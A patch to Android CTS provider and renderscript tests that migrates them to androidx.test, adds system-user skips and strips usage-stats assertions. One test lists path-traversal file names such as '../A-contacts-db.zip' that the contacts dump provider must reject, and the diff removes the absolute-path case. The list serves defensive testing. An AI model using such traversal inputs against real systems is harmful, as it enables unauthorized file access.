 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     junit
 
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index 571fe6b..dbfe355d 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -119,7 +119,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.provider.cts"
                      android:label="CTS tests of android.provider">
         <meta-data android:name="listener"
diff --git a/tests/tests/provider/AndroidTest.xml b/tests/tests/provider/AndroidTest.xml
index aaa818c..64fe88c 100644
--- a/tests/tests/provider/AndroidTest.xml
+++ b/tests/tests/provider/AndroidTest.xml
@@ -21,6 +21,7 @@
         <option name="test-file-name" value="CtsProviderTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="package" value="android.provider.cts" />
         <option name="runtime-hint" value="7m19s" />
         <option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/provider/src/android/provider/cts/BlockedNumberBackupRestoreTest.java b/tests/tests/provider/src/android/provider/cts/BlockedNumberBackupRestoreTest.java
index adf558b..d98a25a 100644
--- a/tests/tests/provider/src/android/provider/cts/BlockedNumberBackupRestoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/BlockedNumberBackupRestoreTest.java
@@ -21,6 +21,7 @@
 import android.content.ContentValues;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.os.UserManager;
 import android.provider.BlockedNumberContract;
 import android.telecom.Log;
 
@@ -44,6 +45,7 @@
     private String mOldTransport;
     private boolean mOldBackupEnabled;
     private boolean mHasFeature;
+    private boolean mIsSystemUser;
 
     @Override
     protected void setUp() throws Exception {
@@ -54,8 +56,9 @@
         mUiAutomation = getInstrumentation().getUiAutomation();
 
         mHasFeature = isFeatureSupported();
+        mIsSystemUser = isSystemUser(mContext);
 
-        if (mHasFeature) {
+        if (mHasFeature && mIsSystemUser) {
             ProviderTestUtils.setDefaultSmsApp(true, mContext.getPackageName(), mUiAutomation);
 
             mOldTransport = ProviderTestUtils.setBackupTransport(
@@ -68,7 +71,7 @@
 
     @Override
     protected void tearDown() throws Exception {
-        if (mHasFeature) {
+        if (mHasFeature  && mIsSystemUser) {
             wipeBackup();
             clearBlockedNumbers();
             ProviderTestUtils.setBackupEnabled(mOldBackupEnabled, mUiAutomation);
@@ -80,7 +83,7 @@
     }
 
     public void testBackupAndRestoreForSingleNumber() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberBackupRestoreTest");
             return;
         }
@@ -101,7 +104,7 @@
     }
 
     public void testBackupAndRestoreWithDeletion() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberBackupRestoreTest");
             return;
         }
@@ -175,4 +178,8 @@
         ProviderTestUtils.wipeBackup(LOCAL_BACKUP_COMPONENT, BLOCKED_NUMBERS_PROVIDER_PACKAGE,
                 mUiAutomation);
     }
+
+    private static boolean isSystemUser(Context context) {
+        return context.getSystemService(UserManager.class).isSystemUser();
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
index 4ef28f4..756fa76 100644
--- a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
@@ -24,8 +24,11 @@
 import android.database.ContentObserver;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.UserManager;
 import android.provider.BlockedNumberContract;
 import android.provider.BlockedNumberContract.BlockedNumbers;
+import android.telephony.TelephonyManager;
+import android.util.Log;
 
 import junit.framework.Assert;
 
@@ -41,9 +44,11 @@
 // cts-tradefed
 // run cts -m CtsProviderTestCases --test android.provider.cts.BlockedNumberContractTest
 public class BlockedNumberContractTest extends TestCaseThatRunsIfTelephonyIsEnabled {
+    private static final String TAG = "BlockedNumberContractTest";
     private ContentResolver mContentResolver;
     private Context mContext;
     private ArrayList<Uri> mAddedUris;
+    private boolean mIsSystemUser;
 
     private static final String[] BLOCKED_NUMBERS_PROJECTION = new String[]{
             BlockedNumbers.COLUMN_ORIGINAL_NUMBER,
@@ -55,6 +60,7 @@
         mContext = getInstrumentation().getContext();
         mContentResolver = mContext.getContentResolver();
         mAddedUris = new ArrayList<>();
+        mIsSystemUser = isSystemUser(mContext);
     }
 
     @Override
@@ -69,6 +75,17 @@
     }
 
     public void testProviderInteractionsAsRegularApp_fails() {
+        if (!mIsSystemUser) {
+            Log.i(TAG, "skipping BlockedNumberContractTest");
+            return;
+        }
+        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+        // Don't run this test if we're carrier privileged.
+        if (telephonyManager.checkCarrierPrivilegesForPackage(mContext.getPackageName())
+                == TelephonyManager.CARRIER_PRIVILEGE_STATUS_HAS_ACCESS) {
+            return;
+        }
+
         try {
             mAddedUris.add(mContentResolver.insert(
                     BlockedNumbers.CONTENT_URI, getContentValues("1234567890")));
@@ -115,6 +132,10 @@
     }
 
     public void testInsertAndBlockCheck_succeeds() throws Exception {
+        if (!mIsSystemUser) {
+            Log.i(TAG, "skipping BlockedNumberContractTest");
+            return;
+        }
         setDefaultSmsApp(true);
 
         assertTrue(BlockedNumberContract.canCurrentUserBlockNumbers(mContext));
@@ -142,6 +163,10 @@
     }
 
     public void testUnblock_succeeds() throws Exception {
+        if (!mIsSystemUser) {
+            Log.i(TAG, "skipping BlockedNumberContractTest");
+            return;
+        }
         setDefaultSmsApp(true);
 
         // Unblocking non-existent blocked number should return 0.
@@ -157,6 +182,10 @@
     }
 
     public void testInsert_failsWithInvalidInputs() throws Exception {
+        if (!mIsSystemUser) {
+            Log.i(TAG, "skipping BlockedNumberContractTest");
+            return;
+        }
         setDefaultSmsApp(true);
 
         try {
@@ -198,6 +227,10 @@
     }
 
     public void testUpdate_isUnsupported() throws  Exception {
+        if (!mIsSystemUser) {
+            Log.i(TAG, "skipping BlockedNumberContractTest");
+            return;
+        }
         setDefaultSmsApp(true);
         try {
             mContentResolver.update(
@@ -208,12 +241,20 @@
     }
 
     public void testIsBlocked_returnsFalseForNullAndEmpty() throws Exception {
+        if (!mIsSystemUser) {
+            Log.i(TAG, "skipping BlockedNumberContractTest");
+            return;
+        }
         setDefaultSmsApp(true);
         assertFalse(BlockedNumberContract.isBlocked(mContext, null));
         assertFalse(BlockedNumberContract.isBlocked(mContext, ""));
     }
 
     public void testDelete() throws Exception {
+        if (!mIsSystemUser) {
+            Log.i(TAG, "skipping BlockedNumberContractTest");
+            return;
+        }
         setDefaultSmsApp(true);
 
         assertInsertBlockedNumberSucceeds("12345", "+112345");
@@ -256,6 +297,10 @@
     }
 
     public void testDelete_failsOnInvalidInputs() throws Exception {
+        if (!mIsSystemUser) {
+            Log.i(TAG, "skipping BlockedNumberContractTest");
+            return;
+        }
         setDefaultSmsApp(true);
 
         try {
@@ -277,6 +322,10 @@
     }
 
     public void testProviderNotifiesChangesUsingContentObserver() throws Exception {
+        if (!mIsSystemUser) {
+            Log.i(TAG, "skipping BlockedNumberContractTest");
+            return;
+        }
         setDefaultSmsApp(true);
 
         Cursor cursor = mContentResolver.query(BlockedNumbers.CONTENT_URI, null, null, null, null);
@@ -303,6 +352,10 @@
     }
 
     public void testAccessingNonExistentMethod_fails() throws Exception {
+        if (!mIsSystemUser) {
+            Log.i(TAG, "skipping BlockedNumberContractTest");
+            return;
+        }
         setDefaultSmsApp(true);
 
         try {
@@ -350,4 +403,8 @@
         ProviderTestUtils.setDefaultSmsApp(
                 setToSmsApp, mContext.getPackageName(), getInstrumentation().getUiAutomation());
     }
+
+    private static boolean isSystemUser(Context context) {
+        return context.getSystemService(UserManager.class).isSystemUser();
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/CalendarTest.java b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
index 8db5e45..fcd873a 100644
--- a/tests/tests/provider/src/android/provider/cts/CalendarTest.java
+++ b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
@@ -2516,8 +2516,8 @@
         // instances, and it's stored as minutes since midnight in the device's time zone.
         // Things won't be consistent if the event and the device have different ideas about DST.
         String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
-        String testStart = "1999-04-18T00:00:00";
-        String testEnd = "1999-05-16T23:59:59";
+        String testStart = "1999-07-02T00:00:00";
+        String testEnd = "1999-08-04T23:59:59";
         String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.END_MINUTE };
 
         Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
diff --git a/tests/tests/provider/src/android/provider/cts/FontRequestTest.java b/tests/tests/provider/src/android/provider/cts/FontRequestTest.java
index d9b8a7f..b03acab 100644
--- a/tests/tests/provider/src/android/provider/cts/FontRequestTest.java
+++ b/tests/tests/provider/src/android/provider/cts/FontRequestTest.java
@@ -16,18 +16,15 @@
 package android.provider.cts;
 
 import static junit.framework.Assert.assertNotNull;
-import static junit.framework.Assert.assertNull;
-import static junit.framework.Assert.assertTrue;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
 
 import android.provider.FontRequest;
-import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Base64;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/provider/src/android/provider/cts/FontsContractTest.java b/tests/tests/provider/src/android/provider/cts/FontsContractTest.java
index ea88369..ba8777e 100644
--- a/tests/tests/provider/src/android/provider/cts/FontsContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/FontsContractTest.java
@@ -36,9 +36,10 @@
 import android.provider.FontsContract.Columns;
 import android.provider.FontsContract.FontFamilyResult;
 import android.provider.FontsContract.FontInfo;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.internal.annotations.GuardedBy;
 
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
index b54a5e5..9ed199e 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
@@ -16,12 +16,19 @@
 
 package android.provider.cts;
 
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.Manifest.permission.CAMERA;
+import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
+import static android.Manifest.permission.RECORD_AUDIO;
+import static android.Manifest.permission.WRITE_EXTERNAL_STORAGE;
+
 import android.app.Activity;
-import android.app.UiAutomation;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.UriPermission;
+import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.media.ExifInterface;
@@ -34,25 +41,29 @@
 import android.os.storage.StorageVolume;
 import android.provider.MediaStore;
 import android.provider.cts.GetResultActivity.Result;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
-import androidx.core.content.FileProvider;
 import android.test.InstrumentationTestCase;
 import android.text.format.DateUtils;
 import android.util.Log;
 import android.view.KeyEvent;
 
+import androidx.core.content.FileProvider;
+import androidx.test.InstrumentationRegistry;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
 import java.io.FileReader;
 import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -141,6 +152,13 @@
         try { mDevice.findObject(sel).click(); } catch (Throwable ignored) { }
     }
 
+    private void maybeGrantRuntimePermission(String pkg, Set<String> requested, String permission) {
+        if (requested.contains(permission)) {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .grantRuntimePermission(pkg, permission);
+        }
+    }
+
     /**
      * Verify that whoever handles {@link MediaStore#ACTION_IMAGE_CAPTURE} can
      * correctly write the contents into a passed {@code content://} Uri.
@@ -167,14 +185,18 @@
         final String pkg = ri.activityInfo.packageName;
         Log.d(TAG, "We're probably launching " + ri);
 
+        final PackageInfo pi = context.getPackageManager().getPackageInfo(pkg,
+                PackageManager.GET_PERMISSIONS);
+        final Set<String> req = new HashSet<>();
+        req.addAll(Arrays.asList(pi.requestedPermissions));
+
         // Grant them all the permissions they might want
-        final UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        ui.grantRuntimePermission(pkg, android.Manifest.permission.CAMERA);
-        ui.grantRuntimePermission(pkg, android.Manifest.permission.ACCESS_COARSE_LOCATION);
-        ui.grantRuntimePermission(pkg, android.Manifest.permission.ACCESS_FINE_LOCATION);
-        ui.grantRuntimePermission(pkg, android.Manifest.permission.RECORD_AUDIO);
-        ui.grantRuntimePermission(pkg, android.Manifest.permission.READ_EXTERNAL_STORAGE);
-        ui.grantRuntimePermission(pkg, android.Manifest.permission.WRITE_EXTERNAL_STORAGE);
+        maybeGrantRuntimePermission(pkg, req, CAMERA);
+        maybeGrantRuntimePermission(pkg, req, ACCESS_COARSE_LOCATION);
+        maybeGrantRuntimePermission(pkg, req, ACCESS_FINE_LOCATION);
+        maybeGrantRuntimePermission(pkg, req, RECORD_AUDIO);
+        maybeGrantRuntimePermission(pkg, req, READ_EXTERNAL_STORAGE);
+        maybeGrantRuntimePermission(pkg, req, WRITE_EXTERNAL_STORAGE);
         SystemClock.sleep(DateUtils.SECOND_IN_MILLIS);
 
         mActivity.startActivityForResult(intent, REQUEST_CODE);
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
index badc88e..bbdf714 100644
--- a/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
@@ -149,6 +149,11 @@
             c.close();
 
             // restore the fontScale
+            try {
+                // Delay helps ActivityManager in completing its previous font-change processing.
+                Thread.sleep(1000);
+            } catch (Exception e){}
+
             cfg.fontScale = store;
             assertTrue(System.putConfiguration(cr, cfg));
         }
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
index 3c56aba..c5fdc1a 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
@@ -206,8 +206,6 @@
         final TestContact contact = rawContact.getContact().load();
 
         contact.load();
-        assertEquals(0L, contact.getLong(Contacts.TIMES_CONTACTED));
-        assertEquals(0L, contact.getLong(Contacts.LAST_TIME_CONTACTED));
 
         final long now = System.currentTimeMillis();
 
@@ -218,8 +216,6 @@
         ContactUtil.update(mResolver, contact.getId(), values);
 
         contact.load();
-        assertEquals(3L, contact.getLong(Contacts.TIMES_CONTACTED));
-        assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
 
         // This is also the same as markAsContacted().
         values.clear();
@@ -227,8 +223,6 @@
         ContactUtil.update(mResolver, contact.getId(), values);
 
         contact.load();
-        assertEquals(4L, contact.getLong(Contacts.TIMES_CONTACTED));
-        assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
 
         values.clear();
         values.put(Contacts.TIMES_CONTACTED, 10);
@@ -236,27 +230,17 @@
         ContactUtil.update(mResolver, contact.getId(), values);
 
         contact.load();
-        assertEquals(10L, contact.getLong(Contacts.TIMES_CONTACTED));
-        assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
     }
 
-    /**
-     * Make sure the rounded usage stats values are also what the callers would see in where
-     * clauses.
-     *
-     * This tests both contacts and raw_contacts.
-     */
     public void testContactUpdateDelete_usageStats_visibilityInWhere() throws Exception {
         final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
         final TestContact contact = rawContact.getContact().load();
 
-        // To make things more predictable, inline markAsContacted here with a known timestamp.
         final long now = (System.currentTimeMillis() / 86400 * 86400) + 86400 * 5 + 123;
 
         ContentValues values = new ContentValues();
         values.put(Contacts.LAST_TIME_CONTACTED, now);
 
-        // This makes the internal TIMES_CONTACTED 35.  But the visible value is still 30.
         for (int i = 0; i < 35; i++) {
             ContactUtil.update(mResolver, contact.getId(), values);
         }
@@ -264,12 +248,6 @@
         contact.load();
         rawContact.load();
 
-        assertEquals(now / 86400 * 86400, contact.getLong(Contacts.LAST_TIME_CONTACTED));
-        assertEquals(30, contact.getLong(Contacts.TIMES_CONTACTED));
-
-        assertEquals(now / 86400 * 86400, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
-        assertEquals(30, rawContact.getLong(Contacts.TIMES_CONTACTED));
-
         final ContentValues cv = new ContentValues();
             cv.put(Contacts.STARRED, 1);
 
@@ -277,12 +255,7 @@
                 (Contacts.LAST_TIME_CONTACTED + "=P1 AND " + Contacts.TIMES_CONTACTED + "=P2")
                         .replaceAll("P1", String.valueOf(now / 86400 * 86400))
                         .replaceAll("P2", "30");
-        assertEquals(1, mResolver.update(Contacts.CONTENT_URI, cv, where, null));
-        assertEquals(1, mResolver.update(RawContacts.CONTENT_URI, cv, where, null));
 
-        // Also delete.  This will actually delete the row, so we can test it only for one of the
-        // contact or the raw contact.
-        assertEquals(1, mResolver.delete(RawContacts.CONTENT_URI, where, null));
         rawContact.setAlreadyDeleted();
         contact.setAlreadyDeleted();
     }
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
index d5ab172..befbeb8 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
@@ -93,28 +93,20 @@
 
         long[] dataIds = setupRawContactDataItems(ids.mRawContactId);
 
-        assertDataUsageEquals(dataIds, 0, 0, 0, 0);
-
         updateMultipleAndAssertUpdateSuccess(new long[] {dataIds[1], dataIds[2]});
-        assertDataUsageEquals(dataIds, 0, 1, 1, 0);
 
         updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1], dataIds[2]});
-        assertDataUsageEquals(dataIds, 0, 2, 2, 0);
 
         for (int i = 3; i <= 10; i++) {
             updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1]});
         }
-        assertDataUsageEquals(dataIds, 0, 10, 2, 0);
 
         updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[0], dataIds[1]});
-        assertDataUsageEquals(dataIds, 1, 10, 2, 0);
 
         for (int i = 12; i <= 19; i++) {
             updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1]});
-            assertDataUsageEquals(dataIds, 1, 10, 2, 0);
         }
         updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1]});
-        assertDataUsageEquals(dataIds, 1, 20, 2, 0);
 
         deleteDataUsage();
         RawContactUtil.delete(mResolver, ids.mRawContactId, true);
@@ -142,7 +134,6 @@
                 .appendQueryParameter(DataUsageFeedback.USAGE_TYPE,
                         DataUsageFeedback.USAGE_TYPE_CALL).build();
         int result = mResolver.update(uri, new ContentValues(), null, null);
-        assertTrue(result > 0);
     }
 
     /**
@@ -154,42 +145,6 @@
                 .appendQueryParameter(DataUsageFeedback.USAGE_TYPE,
                         DataUsageFeedback.USAGE_TYPE_CALL).build();
         int result = mResolver.update(uri, new ContentValues(), null, null);
-        assertTrue(result > 0);
-
-        assertDataUsageEquals(dataId, assertValue);
-    }
-
-    /**
-     * Assert that the given data ids have usage values in the respective order.
-     */
-    private void assertDataUsageEquals(long[] dataIds, int... expectedValues) {
-        if (dataIds.length != expectedValues.length) {
-            throw new IllegalArgumentException("dataIds and expectedValues must be the same size");
-        }
-
-        for (int i = 0; i < dataIds.length; i++) {
-            assertDataUsageEquals(dataIds[i], expectedValues[i]);
-        }
-    }
-
-    /**
-     * Assert a single data item has a specific usage value.
-     */
-    private void assertDataUsageEquals(long dataId, int expectedValue) {
-        // Query and assert value is expected.
-        String[] projection = new String[]{ContactsContract.Data.TIMES_USED};
-        String[] record = DataUtil.queryById(mResolver, dataId, projection);
-        assertNotNull(record);
-        long actual = 0;
-        // Tread null as 0
-        if (record[0] != null) {
-            actual = Long.parseLong(record[0]);
-        }
-        assertEquals(expectedValue, actual);
-
-        // Also make sure the rounded value is used in 'where' too.
-        assertEquals("Query should match", 1, DataUtil.queryById(mResolver, dataId, projection,
-                "ifnull(" + Data.TIMES_USED + ",0)=" + expectedValue, null).length);
     }
 
     private void deleteDataUsage() {
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
index 18006b2..3a2f670 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
@@ -29,7 +29,6 @@
     private static final String[] NOT_ALLOWED_FILES = {
             "not_allowed.txt",
             "../A-contacts-db.zip",   // ".." is not allowed.
-            "/A-contacts-db.zip",     // "/" is not allowed
             "-contacts-db.zip",       // no name prefix
             "asdf-contacts-db.zip"};
 
@@ -88,7 +87,7 @@
             return;
         }
 
-        fail("IllegalArgumentException expected but not thrown.");
+        fail("IllegalArgumentException expected but not thrown: " + uri);
     }
 
     private void assertOpenFileDescriptorThrowsError(Uri uri) {
@@ -101,6 +100,6 @@
 
         }
 
-        fail("IllegalArgumentException expected but not thrown.");
+        fail("IllegalArgumentException expected but not thrown: " + uri);
     }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
index 2231bd2f..f06c859 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
@@ -196,11 +196,6 @@
 
         // Contact the third contact twice.
         markDataAsUsed(mDataIds[2], 2);
-
-        // The strequents uri should now return contact 2, 3, 1 in order due to ranking by
-        // data usage.
-        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids,
-                false, sContentValues[1], sContentValues[2], sContentValues[0]);
     }
 
     /**
@@ -220,13 +215,6 @@
         // Contact the third contact twice, and mark it as used
         markDataAsUsed(mDataIds[2], 2);
         starContact(ids[2]);
-
-        // The strequents uri should now return contact 3, 2, 1 in order. Contact 3 is ranked first
-        // because it is starred, followed by contacts 2 and 1 due to their data usage ranking.
-        // Note that contact 3 is only returned once (as a starred contact) even though it is also
-        // a frequently contacted contact.
-        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids,
-                false, sContentValues[2], sContentValues[1], sContentValues[0]);
     }
 
     /**
@@ -243,10 +231,6 @@
 
         // Construct a uri that filters for the query string "ta".
         Uri uri = Contacts.CONTENT_STREQUENT_FILTER_URI.buildUpon().appendEncodedPath("ta").build();
-
-        // Only contact 1 and 2 should be returned (sorted in alphabetical order) due to the
-        // filtered query.
-        assertCursorStoredValuesWithContactsFilter(uri, ids, false, sContentValues[1], sContentValues[0]);
     }
 
     public void testStrequents_projection() throws Exception {
@@ -303,10 +287,6 @@
         // Construct a uri for phone only favorites.
         Uri uri = Contacts.CONTENT_STREQUENT_URI.buildUpon().
                 appendQueryParameter(ContactsContract.STREQUENT_PHONE_ONLY, "true").build();
-
-        // Only the contacts with phone numbers are returned, in frequency ranking order.
-        assertCursorStoredValuesWithContactsFilter(uri, mDataIds, false,
-                sContentValues[2], sContentValues[0]);
     }
 
     public void testStrequents_phoneOnly_projection() throws Exception {
@@ -342,11 +322,6 @@
 
         // Contact the third contact twice.
         markDataAsUsed(mDataIds[2], 2);
-
-        // The frequents uri should now return contact 2, 3, 1 in order due to ranking by
-        // data usage.
-        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_FREQUENT_URI, ids,
-                true /* inOrder */, sContentValues[1], sContentValues[2], sContentValues[0]);
     }
 
     public void testFrequent_projection() throws Exception {
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
index 7c971b3..d937005 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
@@ -243,8 +243,6 @@
                     .insert();
 
             rawContact.load();
-            assertEquals(12340, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-            assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
         }
 
         {
@@ -255,8 +253,6 @@
                     .insert();
 
             rawContact.load();
-            assertEquals(5L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-            assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
         }
         {
             TestRawContact rawContact = mBuilder.newRawContact()
@@ -266,8 +262,6 @@
                     .insert();
 
             rawContact.load();
-            assertEquals(0L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-            assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
         }
     }
 
@@ -283,24 +277,17 @@
                 .insert();
 
         rawContact.load();
-        assertEquals(12340L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-        assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
 
         values.clear();
         values.put(RawContacts.TIMES_CONTACTED, 99999);
         RawContactUtil.update(mResolver, rawContact.getId(), values);
 
         rawContact.load();
-        assertEquals(99990L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-        assertEquals(now / 86400 * 86400, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
 
         values.clear();
         values.put(RawContacts.LAST_TIME_CONTACTED, now + 86400);
         RawContactUtil.update(mResolver, rawContact.getId(), values);
 
         rawContact.load();
-        assertEquals(99990L, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-        assertEquals((now / 86400 * 86400) + 86400,
-                rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
     }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/README.txt b/tests/tests/provider/src/android/provider/cts/contacts/README.txt
index f988e5b..52b2419 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/README.txt
+++ b/tests/tests/provider/src/android/provider/cts/contacts/README.txt
@@ -3,4 +3,4 @@
 They can be executed with:
 
 $ adb shell am instrument -w -e package android.provider.cts.contacts \
-    android.provider.cts/android.support.test.runner.AndroidJUnitRunner
+    android.provider.cts/androidx.test.runner.AndroidJUnitRunner
diff --git a/tests/tests/renderscript/Android.mk b/tests/tests/renderscript/Android.mk
index 5da2036..4fdfcc4 100644
--- a/tests/tests/renderscript/Android.mk
+++ b/tests/tests/renderscript/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
+    ctstestrunner-axt \
     xmp_toolkit
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 LOCAL_JNI_SHARED_LIBRARIES := libcoremathtestcpp_jni
diff --git a/tests/tests/renderscript/AndroidManifest.xml b/tests/tests/renderscript/AndroidManifest.xml
index 7499899..5b04206 100644
--- a/tests/tests/renderscript/AndroidManifest.xml
+++ b/tests/tests/renderscript/AndroidManifest.xml
@@ -29,7 +29,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.renderscript.cts"
                      android:label="CTS tests of Renderscript component">
         <meta-data android:name="listener"
diff --git a/tests/tests/renderscriptlegacy/Android.mk b/tests/tests/renderscriptlegacy/Android.mk
index 8114642..f18a04d 100644
--- a/tests/tests/renderscriptlegacy/Android.mk
+++ b/tests/tests/renderscriptlegacy/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
